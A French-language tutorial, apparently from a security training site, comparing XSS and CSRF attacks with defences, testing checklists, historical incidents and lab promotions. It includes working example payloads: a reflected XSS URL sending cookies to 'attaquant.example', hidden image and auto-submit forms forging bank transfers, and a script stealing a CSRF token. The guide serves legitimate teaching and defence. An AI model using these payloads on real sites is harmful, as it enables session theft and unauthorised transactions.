XSS et CSRF sont toutes deux des vulnérabilités web côté client, mais elles fonctionnent de manières complètement différentes. XSS (Cross-Site Scripting) permet aux attaquants d'exécuter des scripts malveillants dans le navigateur de la victime, tandis que CSRF (Cross-Site Request Forgery) piège les utilisateurs pour qu'ils effectuent des actions non désirées sur des sites où ils sont authentifiés.
Comprendre la différence entre XSS vs CSRF est essentiel que vous soyez un pentester recherchant des vulnérabilités ou un développeur essayant de les prévenir. Ce guide décompose le fonctionnement de chaque attaque, montre des exemples pratiques et couvre les défenses spécifiques dont vous avez besoin pour les deux.
⚡ TL;DR - La différence clé
XSS = Le code de l'attaquant s'exécute sur le site vulnérable → Peut tout voler
CSRF = Le code de l'attaquant s'exécute depuis leur propre site → Ne peut que déclencher des actions
📊 Comparaison rapide : XSS vs CSRF
Avant de plonger dans les détails, voici une comparaison côte à côte des attaques XSS et CSRF :
| Aspect | 🔴 XSS | 🟠 CSRF |
|---|---|---|
| Cible de l'attaque | Navigateur de l'utilisateur | Session authentifiée de l'utilisateur |
| Nécessite | Champ de saisie vulnérable | Session active sur le site cible |
| Exécute | JavaScript malveillant | Requête HTTP non désirée |
| Objectif de l'attaquant | Voler des données, détourner la session | Effectuer une action en tant que victime |
| Peut lire les réponses? | ✅ Oui | ❌ Non |
| Défense principale | Encodage de sortie, CSP | Tokens CSRF, cookies SameSite |
🧠 Façon facile de se souvenir: XSS, c'est mettre des mots dans la bouche de quelqu'un (injecter votre script dans leur site web de confiance), tandis que CSRF, c'est forger la signature de quelqu'un (faire des requêtes qui semblent venir de l'utilisateur légitime).
🔴 Qu'est-ce que XSS (Cross-Site Scripting)?
Le Cross-Site Scripting se produit lorsqu'un attaquant injecte du JavaScript malveillant dans un site web de confiance. Lorsqu'une victime visite la page, le script s'exécute dans son navigateur avec un accès complet au contexte de la page, y compris les cookies, les tokens de session et le contenu DOM.
Pourquoi c'est dangereux: Le navigateur ne peut pas distinguer les scripts légitimes des scripts injectés. S'il provient du domaine de confiance, il s'exécute avec tous les privilèges de ce domaine.
Trois types de XSS
💉 XSS Réfléchi
La payload fait partie de la requête (généralement l'URL). S'exécute immédiatement lorsque la victime clique sur le lien malveillant. Non stocké côté serveur.
Exemple: Requête de recherche malveillante dans l'URL
💾 XSS Stocké
La payload est sauvegardée dans la base de données (commentaires, profils). S'exécute pour chaque utilisateur qui consulte la page affectée. Type le plus dangereux.
Exemple: Commentaire malveillant sur un blog
🌐 XSS basé sur le DOM
La payload manipule le JavaScript côté client. La vulnérabilité est dans la façon dont le JS de la page gère les données, pas la réflexion côté serveur.
Exemple: Fragment d'URL traité par JavaScript
Exemple d'attaque XSS
Considérez une page de recherche qui affiche l'entrée utilisateur sans assainissement:
<!-- Code PHP vulnérable -->
<p>Résultats pour: <?php echo $_GET['q']; ?></p>
Un attaquant crée une URL malveillante:
https://site-cible.example/search?q=<script>document.location='https://attaquant.example/steal?c='+document.cookie</script>
🚨 Ce qui se passe: Lorsqu'une victime clique sur ce lien, le script s'exécute et envoie son cookie de session au serveur de l'attaquant. L'attaquant peut maintenant détourner sa session et agir en tant que victime.
💡 Pratiquez ceci: Essayez d'exploiter des vulnérabilités XSS de manière pratique dans le laboratoire XSS Playground, où vous pouvez pratiquer en toute sécurité les techniques d'injection réfléchies, stockées et basées sur le DOM dans des scénarios réalistes.
🟠 Qu'est-ce que CSRF (Cross-Site Request Forgery)?
Le Cross-Site Request Forgery piège un utilisateur authentifié pour qu'il effectue des actions non désirées sur un site où il est connecté. L'attaquant exploite le fait que les navigateurs incluent automatiquement les cookies avec chaque requête vers un domaine, quel que soit l'origine de la requête.
Différence clé avec XSS: CSRF n'injecte pas de code dans le site vulnérable. Le code malveillant s'exécute sur le site de l'attaquant et cible le site vulnérable.
Comment fonctionne CSRF
- L'utilisateur se connecte à acme-banque.example Un cookie de session est défini dans son navigateur
- L'utilisateur visite la page de l'attaquant Tout en étant toujours connecté à acme-banque.example dans un autre onglet
- La page de l'attaquant envoie une requête à acme-banque.example Un formulaire caché ou une balise image déclenche la requête
- Le navigateur inclut automatiquement le cookie de session C'est un comportement normal du navigateur pour toute requête vers ce domaine
- La banque traite le transfert Le serveur ne peut pas faire la différence entre les requêtes légitimes et forgées
Exemples d'attaque CSRF
Méthode 1: Utilisation d'une balise image (pour les requêtes GET):
<!-- Sur le site web de l'attaquant -->
<img src="https://acme-banque.example/transfer?to=attaquant&amount=1000" style="display:none">
Méthode 2: Formulaire auto-soumis (pour les requêtes POST):
<!-- Formulaire caché qui se soumet automatiquement -->
<form action="https://acme-banque.example/transfer" method="POST" id="csrf">
<input type="hidden" name="to" value="attaquant">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.getElementById('csrf').submit();</script>
⚠️ L'attaque est invisible: Lorsque la victime charge cette page alors qu'elle est connectée à sa banque, le transfert se produit sans sa connaissance ou son consentement. Elle ne voit rien d'inhabituel.
🔍 Différences clés expliquées
Comprendre les différences fondamentales entre XSS et CSRF vous aide à identifier et prévenir chaque vulnérabilité efficacement.
🎯 Ce qui est exploité
XSS: La confiance que le site web a dans le navigateur de l'utilisateur. Les scripts injectés s'exécutent avec tous les privilèges.
CSRF: La confiance que le serveur a dans le navigateur de l'utilisateur. Toute requête avec des cookies valides est acceptée.
💰 Ce que l'attaquant réalise
XSS: Contrôle total - lire des données, voler des identifiants, modifier la page, effectuer n'importe quelle action.
CSRF: Limité aux actions uniquement - peut déclencher des transferts mais ne peut pas vérifier les soldes.
📍 Où l'attaque s'exécute
XSS: Le script malveillant s'exécute sur le site web vulnérable lui-même.
CSRF: Le code malveillant s'exécute sur le site de l'attaquant, cible le site vulnérable.
👤 Dépendance de l'état de l'utilisateur
XSS: Fonctionne que l'utilisateur soit connecté ou non (l'authentification le rend plus précieux).
CSRF: Ne fonctionne que si l'utilisateur a une session active. Pas de session = pas d'attaque.
⚠️ XSS peut-il mener à CSRF?
Oui, et c'est pourquoi XSS est souvent considéré comme plus dangereux. Si un attaquant a XSS sur un site, il peut contourner entièrement les protections CSRF.
Puisque le code XSS s'exécute dans l'origine de confiance, il peut:
- ✅ Lire les tokens CSRF directement depuis la page
- ✅ Soumettre des formulaires avec des tokens valides inclus
- ✅ Faire des requêtes authentifiées qui semblent complètement légitimes
Voici comment XSS contourne la protection CSRF:
// Payload XSS qui vainc les tokens CSRF
var token = document.querySelector('input[name="csrf_token"]').value;
fetch('/transfer', {
method: 'POST',
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body: 'to=attaquant&amount=1000&csrf_token=' + token
});
🔑 Aperçu clé: Si vous avez XSS, vous avez effectivement CSRF gratuitement. XSS peut faire tout ce que CSRF peut faire, plus lire des données. C'est pourquoi XSS est généralement considéré de gravité plus élevée.
🛡️ Méthodes de prévention
XSS et CSRF nécessitent des stratégies de défense différentes. Implémenter des tokens CSRF n'empêchera pas XSS, et l'encodage de sortie n'arrêtera pas CSRF.
🔴 Prévenir XSS
- Encodage de sortie - Échapper toutes les entrées utilisateur avant le rendu. Utiliser un encodage approprié au contexte (entités HTML, échappement JavaScript, encodage URL).
- Content Security Policy (CSP) - Restreindre quels scripts peuvent s'exécuter. Bloquer les scripts inline et limiter les sources aux domaines de confiance.
- Cookies HTTPOnly - Empêcher JavaScript d'accéder aux cookies de session. Limite les dommages même si XSS se produit.
- Validation d'entrée - Lister les caractères autorisés lorsque possible. Rejeter ou assainir les modèles d'entrée dangereux.
🟠 Prévenir CSRF
- Tokens CSRF - Inclure des tokens imprévisibles dans les formulaires et vérifier côté serveur. Les attaquants ne peuvent pas deviner ou accéder au token.
- Cookies SameSite - Définir SameSite=Strict ou Lax. Empêche les cookies d'être envoyés avec les requêtes cross-origin.
- Vérifier les en-têtes Origin/Referer - Vérifier que les requêtes proviennent de votre domaine. Rejeter les origines inattendues.
- Ré-authentification - Exiger une confirmation de mot de passe pour les opérations critiques comme les transferts de fonds.
📋 Aide-mémoire de défense rapide:
Défense XSS: Assainir SORTIE + CSP + HTTPOnly
Défense CSRF: Tokens + SameSite=Strict + Vérifier Origin
💥 Impact du monde réel
Les deux vulnérabilités ont causé des dommages significatifs dans les systèmes de production:
🔴 Attaques XSS célèbres
Ver Samy (MySpace, 2005)
Un ver XSS stocké qui s'est propagé à plus de 1 million d'utilisateurs en 20 heures, ajoutant "Samy is my hero" à chaque profil infecté.
British Airways (2018)
Les attaquants ont injecté des scripts qui ont capturé 380 000 détails de cartes de paiement alors que les clients les saisissaient.
🟠 Attaques CSRF célèbres
Netflix (2006)
Une vulnérabilité CSRF permettait aux attaquants de modifier les détails du compte utilisateur, y compris les adresses de livraison.
ING Direct (2008)
Les attaquants pouvaient transférer des fonds entre comptes en utilisant des requêtes forgées.
Ces exemples démontrent pourquoi les deux vulnérabilités apparaissent systématiquement dans le OWASP Top 10 et nécessitent des mesures de sécurité dédiées.
🧪 Tester XSS et CSRF
Savoir identifier ces vulnérabilités est aussi important que les comprendre.
Liste de contrôle des tests XSS
- Injecter
<script>alert(1)</script>dans les champs de saisie - Vérifier si la sortie est encodée ou rendue en HTML
- Tester les paramètres URL, champs de formulaire, en-têtes, cookies
- Essayer des contournements de filtres: encodages, variations de balises, gestionnaires d'événements
Liste de contrôle des tests CSRF
- Vérifier si les requêtes de changement d'état incluent des tokens CSRF
- Essayer de rejouer les requêtes depuis une origine différente
- Vérifier si les attributs de cookie SameSite sont définis
- Tester si les tokens sont validés côté serveur (pas seulement présents)
🎯 Pratiquer avec des laboratoires dédiés
🔴 XSS Playground
Pratiquez les attaques XSS réfléchies, stockées et basées sur le DOM. Apprenez les contournements de filtres et les techniques de détournement de session dans un environnement sûr.
🟠 Transfert bancaire CSRF
Exploitez la falsification de requêtes basée sur la session dans un scénario bancaire réaliste. Comprenez comment les attaquants abusent des sessions authentifiées.
Combinez la pratique pratique avec le cours Cross-Site Scripting et le cours CSRF pour comprendre la théorie, les outils et les stratégies de défense derrière chaque technique.
❓ Questions fréquemment posées
CSRF fait-il partie de XSS?
Non, ce sont des vulnérabilités complètement séparées avec des vecteurs d'attaque et des défenses différents. Cependant, XSS peut être utilisé pour contourner les protections CSRF puisque le code XSS peut lire les tokens CSRF depuis la page.
Lequel est plus dangereux: XSS ou CSRF?
XSS est généralement plus dangereux. Il donne aux attaquants un contrôle total sur la session de l'utilisateur, y compris la capacité de lire des données, pas seulement de déclencher des actions. XSS peut également contourner les protections CSRF, le rendant strictement plus puissant.
CSRF peut-il voler des données?
Non. CSRF ne peut que déclencher des actions comme des soumissions de formulaires ou des changements d'état. En raison de la politique de même origine, les attaquants ne peuvent pas lire les réponses des requêtes cross-origin. Ils peuvent transférer de l'argent mais ne peuvent pas vérifier les soldes.
Les tokens CSRF empêchent-ils XSS?
Non. Les tokens CSRF empêchent uniquement les attaques CSRF. XSS nécessite des défenses séparées comme l'encodage de sortie, CSP et la validation d'entrée. En fait, XSS peut lire les tokens CSRF et contourner entièrement cette protection.
Les deux vulnérabilités peuvent-elles exister sur la même page?
Oui. Une page peut être vulnérable à la fois à XSS et CSRF simultanément. Chaque vulnérabilité doit être abordée avec ses défenses spécifiques. Avoir l'une n'empêche ni ne corrige l'autre.
🎯 Résumé: XSS vs CSRF
Comprendre la distinction entre XSS et CSRF est fondamental pour les tests de sécurité offensifs et le développement défensif:
🔴 XSS (Cross-Site Scripting): Injecte des scripts malveillants dans des sites de confiance. Peut voler des données, détourner des sessions et effectuer n'importe quelle action. Défendre avec encodage de sortie et CSP.
🟠 CSRF (Cross-Site Request Forgery): Piège les utilisateurs authentifiés dans des actions non désirées. Limité au déclenchement de requêtes, ne peut pas lire les réponses. Défendre avec tokens et cookies SameSite.
🔗 Relation clé: XSS peut contourner les protections CSRF, en faisant la vulnérabilité la plus grave lorsque les deux sont présentes.
Les deux vulnérabilités nécessitent une pratique pratique pour vraiment comprendre. Lire sur le vol de cookies est une chose; créer réellement des payloads et les voir s'exécuter construit une intuition réelle pour trouver ces problèmes dans la nature.
🚀 Prêt à exploiter ces vulnérabilités de manière pratique? Commencez avec le XSS Playground pour maîtriser l'injection de script, puis passez au laboratoire de transfert bancaire CSRF pour comprendre les requêtes forgées. Approfondissez vos connaissances avec le cours complet de sécurité des applications web couvrant les contournements de filtres, les mécanismes de défense et les techniques d'exploitation du monde réel.